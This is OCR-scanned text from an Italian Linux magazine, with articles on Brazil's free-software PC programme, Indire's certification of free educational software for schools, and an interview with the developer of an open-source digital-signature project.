un punto centrale: quale sistema operativo scegliere? 
Decisione non facile, e già rinviata più volte. Da una parte, la 
maggioranza governativa ritiene che, in sintonia con le strategie 
nazionali, non resta che usare Linux, punto e basta. 

«Perché il progetto abbia successo, deve affidarsi al software li- 
bero», spiega Sergio Amadeu, presidente dell'ente per /'/n- 
formation Technology. 

«Non abbiamo intenzione di spendere il denaro dei contribuen- 
ti in un'iniziativa su cui poi Microsoft potrà ulteriormente conso- 
lidare il proprio monopolio. È responsabilità del governo assicu- 
rarsi che esista la competizione, e ciò significa offrire alle piat- 
taforme alternative la possibilità di prosperare». 

D'altra, c'è chi pensa invece che i consumatori debbano poter 
optare tra PC dotati di sistema aperto oppure pagare qualcosa 
in più per quello targato Microsoft. Un coro a cui si unisco le 
voci dell'opposizione parlamentare, come quella di Julio Se- 
meghini: 

«Il governo non può decidere quale hardware e software vada 
usato in quei computer. Non è un processo democratico». 
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L'ALFABETIZZAZIONE 
INFORMATICA DI MASSA 


Proprio in replica a simili accuse, l'Amministrazione Lula ha già 
annunciato l'estensione di analoghi progetti all'apparato scola- 
stico, anch'esso bisognoso di forti spinte a livello informatico. 
Inoltre è stato già previsto un investimento pari a 74 milioni di 
dollari per aprire entro fine anno un migliaio di community cen- 
ter in aree povere, dotati di computer e accesso gratuito a 
Internet (ancora poco diffusa). “PC Conectado” interessa una 
fascia d'utenza le cui entrate mensili non superano il corrispet- 
tivo di circa 650 euro, ovvero sette milioni di persone. Entro il 
2005, un milione di queste dovrebbero effettivamente ottenere 
il PC, a metà prezzo di quelli in commercio. 


STRUMENTI E COMUNITÀ LOCALI 
PER RIDURRE IL DIGITAL DIVIDE 


L'importanza di simili sperimentazioni va suscitando il diretto inte- 
resse perfino del "mondo ricco". Non a caso della questione si è 
occupato recentemente il prestigioso Massachusetts Institute of 
Technology (MIT) di Boston, con una lettera inviata dal direttore 
del Media Lab alle autorità brasiliane. Lettera ovviamente ripresa 
dai media internazionali, e in cui si suggeriva di optare senza in- 
dugi per i sistemi aperti. Firmata da Walter Bender, nella missiva si 
leggeva tra l'altro: «Sosteniamo l'uso di software libero di alta 
qualità anziché versioni in scala ridotta di software proprietario. Il 
software libero è assai superiore in termini di costi, potenza e qua- 
lità». Rincarava la dose David Cavallo, ricercatore e co-autore del- 
la lettera: «Poiché la crescita economica sostenibile risiede nei 
contributi all'economia creativa ed è basata sulla conoscenza... è 
ovvio che sia la tecnologia più potente, accoppiata alle spese mi- 
nori, ad offrire la maggiore penetrazione». Qualunque sarà la scel- 
ta governativa sul software migliore, gli esperti paiono comunque 
d'accordo su un importante effetto collaterale: il compimento del 
progetto aiuterà a sconfiggere la pirateria informatica. Ambito in 
cui il Brasile è notoriamente ai primi posti nella classifica Mondia- 
le. E attirando una nuova fascia di consumatori, «si finirà per sti- 
molare il mercato locale del software,» sottolinea Jorge Sukarie, 
presidente dell'Associazione nazionale dei produttori di software. 
Questa anzi è una considerazione importante, che vale per il 
Terzo Mondo tanto quanto per le economie disastrate del Primo: 
la scelta dell'Open Source stimola l'occupazione e la crescita di 
comunità di programmatori a livello locale. 

Bernardo Parrella 


[_] Linux e Scuola 
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INDIRE APRE 
AL SOFTWARE LIBERO 


di Andrea Centomo 


Dagli ottimi risultati raggiunti dal sistema di apprendimento online PuntoEdu 
giunge uno stimolo per tutta la Scuola 


ra le istituzioni di ricerca pre- 

poste alla formazione del per- 

sonale docente in Italia spicca 

senza dubbio Indire. Nata sulle 
ceneri dell'ex Biblioteca di Documenta- 
zione Pedagogica, Indire porta avanti un 
ragguardevole numero di progetti legati 
alla ricerca in ambito pedagogico tra cui 
formazione attraverso PuntoEdu, l'am- 
biente integrato di apprendimento online 
utilizzato per l'aggiornamento di centi- 
naia di migliaia di insegnanti italiani, inte- 
ramente sviluppato e gestito da Indire. 
Fondato su un modello di blended e- 
learning, con incontri in presenza e atti- 
vità online, PuntoEdu offre percorsi for- 
mativi strutturati e personalizzabili, utiliz- 
zando i più avanzati strumenti tecnologi- 
ci. Indire è inoltre partner di European 
Schoolnet, una rete che coinvolge più di 
26 Ministeri europei dell'educazione con 
l'obiettivo di promuovere in ambito edu- 
cativo la conoscenza e l'uso delle Tec- 
nologie dell'Informazione e della Comu- 
nicazione (TIC). 


VALUTAZIONE DEL 
SOFTWARE DIDATTICO 


Uno dei progetti attivi presso Indire con- 
siste nel sottoporre a valutazione il soft- 
ware educational in modo da creare un 
database di riferimento per gli insegnan- 
ti delle scuole di ogni ordine e grado. Il 
meccanismo di valutazione coinvolge 
due esperti e due o più scuole che espri- 
mono il loro giudizio sulla base di una 
griglia che prevede un' analisi di qualità 
articolata su diversi piani: tecnico, co- 
municativo, strutturale, cognitivo, criti- 
co-culturale, didattico e documentativo. 


MI Fig. 1 » Sito web del progetto PuntoEdu 


Le valutazioni puntuali, che toccano ogni 
punto della griglia, vengono consegnate 
a chi ha richiesto la certificazione mentre 
il giudizio complessivo viene pubblicato 
nel sito Indire insieme ad una valutazio- 
ne sintetica (ottimo, buono, discreto). 
Nel settembre del 2004 Indire ha deciso 
di aprire il processo di valutazione anche 
al software libero. AI momento sono stati 
certificati TuXpaint e quattro ambienti di 
qualità per la matematica come Dr. Geo, 
Kig, Maxima e TeXmacs. Tutti questi 
software hanno ricevuto un giudizio buo- 
no. In questo modo, in particolare per la 
matematica, agli insegnanti viene propo- 
sta un'alternativa rispetto ai software 
commerciali che dominano il panorama 
della scuola italiana. Scorrendo le valu- 
tazioni degli esperti, l'idea che un inse- 
gnante si forma è che se vuole software 
di ottima qualità deve comunque rivol- 
gersi a soluzioni proprietarie. Sia per la 
geometria dinamica che per la computer 
algebra gli unici software con valutazio- 
ne Indire ottima sono infatti proprietari. 
Premesso che con il software libero oggi 
a disposizione si possono realizzare dei 
percorsi didattici di altissimo profilo, so- 
prattutto se orientati alla programmazio- 
ne, ciò non deve essere motivo di ram- 


marico. La comunità di sviluppo del soft- 
ware libero dovrebbe essere incentivata 
da questo a migliorare ulteriormente la 
documentazione e le funzionalità dei 
programmi educational per la scuola at- 
tualmente disponibili. 


SOFTWARE LIBERO 
E RIFORMA MORATTI 


Con l'avvio della Riforma Moratti per la 
scuola Primaria e Secondaria di | grado 
è iniziato un processo parallelo di forma- 
zione rivolto a una parte degli insegnan- 
ti appartenenti a questi ordini di scuola. 
La formazione ha come punto di riferi- 
mento la piattaforma di e-learning Pun- 
toEdu utilizzata a suo tempo per altri 
progetti rilevanti come ad esempio il ben 
noto progetto Monfortic. Diversamente 
da quanto accaduto in precedenza ora 
una parte dei materiali didattici in Punto- 
Edu si riferiscono al software libero. Chi 
accede alla piattaforma può trovare una 
buona introduzione al software libero, al- 
cuni esempi di utilizzo didattico di Gimp 
e diverse unità didattiche dedicate alla 
geometria e alla programmazione con 
Dr. Geo. Di fronte alla mole impressio- 
nante di software libero che si trova in 
rete spicca infatti l'esiguità di materiali di 
qualità e in lingua italiana che spieghino 
come utilizzare didatticamente il softwa- 
re libero. 

Il ragionamento legittimo secondo cui 
dovrebbe essere compito del singolo in- 
segnante, una volta provvisto degli stru- 
menti software, scoprirne gli utilizzi di- 
dattici e consolidarne nella prassi l'uso 
pedagogico vale purtroppo per un nu- 
mero assai ristretto di persone. 
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Firma Digitale con Linux 


RM Dal primo incontro con Linux all'Open Source Contest. 


Antonino Iacono, ci spiega com'è nato il progetto 


IL FONDATORE DEL PROGETTO FIRMA 
DIGITALE CON LINUX 


Programmatore italiano che ha dato vita al 
progetto "Firma Digitale con Linux", ha 34 
anni e da 12 lavora presso l'Agenzia delle En- 
trate. La passione per l'informatica nasce 
nell'adolescenza con il Sinclair Spectrum 
mentre il suo approccio al software libero 
non è diretto o, almeno, passa attraverso lo 
scontro con le onerose licenze per gli stru- 
menti che gli sarebbero serviti. Così ecco l'in- 
contro con Linux e il progressivo approfon- 
dimento di programmi che nulla hanno da 
invidiare ai corrispettivi proprietari. Non tarda a giungere, una 
volta imbattutosi nel mondo del software libero, l'interesse per 
tematiche come la condivisione della conoscenza e la parte più 
ludica del suo tempo libero viene dedicata allo sviluppo di giochi 
in C, Java, TcU/Tk. 


Linux Magazine: Come nasce il progetto? 

Antonino lacono: A fine 2001, comincio a sperimentare l'uso 
di OpenSSL per la creazione di CA e la verifica di file firmati di- 
gitalmente. La crittografia mi appassiona da tempo e il suo uti- 
lizzo pratico accresce il mio interesse. 


L.M.: Qual è stata la sua evoluzione? 

A.l.: È il 2002 l'anno delle prime release. | programmi di verifica 
rilasciati dai certificatori funzionano solamente in ambiente Win- 
dows, così realizzo un semplice wrapper di OpenSSL in Tcl/Tk 
per la verifica dei file in formato .p7m e lo propongo alla mailing 
list "Discussioni" dell'Associazione Software Libero. L'interesse 
suscitato mi porta a studiare soluzioni migliorative e soprattutto 
a integrare il supporto per le smart card non presente nella pri- 
ma versione. Su indicazione di Paolo Pellegrino (ora referente 
per la firma digitale presso l'Agenzia delle Entrate) faccio richie- 
sta a un certificatore iscritto all'albo tenuto dal Cnipa di una 
smart card con certificato di firma digitale. Le versioni a questo 
punto si succedono a ritmo incalzante. 


L.M.: Quante persone collaborano? 
A.l.: Fino al 2004 sono stato l'unico a portare avanti il progetto. 
Dall'anno scorso si è unito Sirio Capizzi, ottimo programmatore 
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che ha realizzato sulla base del vecchio progetto in Tcl/Tk un 
nuovo prodotto in C++ con librerie grafiche Qt. In seguito men- 
tre Sirio si è occupato del nuovo OpenSignature, io mi sono 
interessato al progetto OpenSC scrivendo per esso un emula- 
tore per smart card Infocamere integrato in OpenSC dalla ver- 
sione 0.9.2. 


L.M.: Quali sono le prospettive? 

A.l.: Da un lato estendere il supporto con appositi emulatori 
OpenSC per le altre smart card in circolazione in Italia. Compito 
non facile innanzitutto perché non ne siamo in possesso e poi 
perché alcune carte hanno software di gestione proprietario e 
crittato; dall'altro, migliorare l'interfaccia grafica di Opensigna- 
ture e perfezionare Upiserver. Ricordo, inoltre, che grazie a 
OpenSC è possibile utilizzare le smart card supportate (attual- 
mente solo alcune di Infocamere) anche in programmi di posta 
elettronica, quali Thunderbird, Netscape Communicator, Mozil- 
la Mail, Kmail o nei browser Firefox, Mozilla e Netscape per l'au- 
tenticazione SSL. 


L.M.: Ci sono state applicazioni pratiche del progetto?} 
A.l.: Con la notorietà avuta grazie alla vittoria all'Open Source 
Contest, sono arrivate diverse richieste di informazioni per un 
utilizzo sul campo di OpenSignature. Dal centro elaborazione e 
applicazioni dell'università di Catania, dal coordinatore del pro- 
getto PAFlow, dagli sviluppatori di Phasis e da titolari di diver- 
se altre aziende. La diffusione nei prossimi mesi di Cns/Cie por- 
terà a una necessità maggiore di applicazioni e strumenti per la 
gestione di smart card e noi di Opensignature e il gruppo di 
OpenSC siamo pronti ad accettarne la sfida. 


FIRMA DIGITALE con LINUX 


Questo progetto e' un tentativo di reahzzare un software kbero per la Firma Digitale che affanchi quello 
proprietario sviluppato dai certificatori inclusi nell'elenco pubblico del Centro Nazionale per l'Informatica nella 
Pubblica Amministrazione (CNIPA). 
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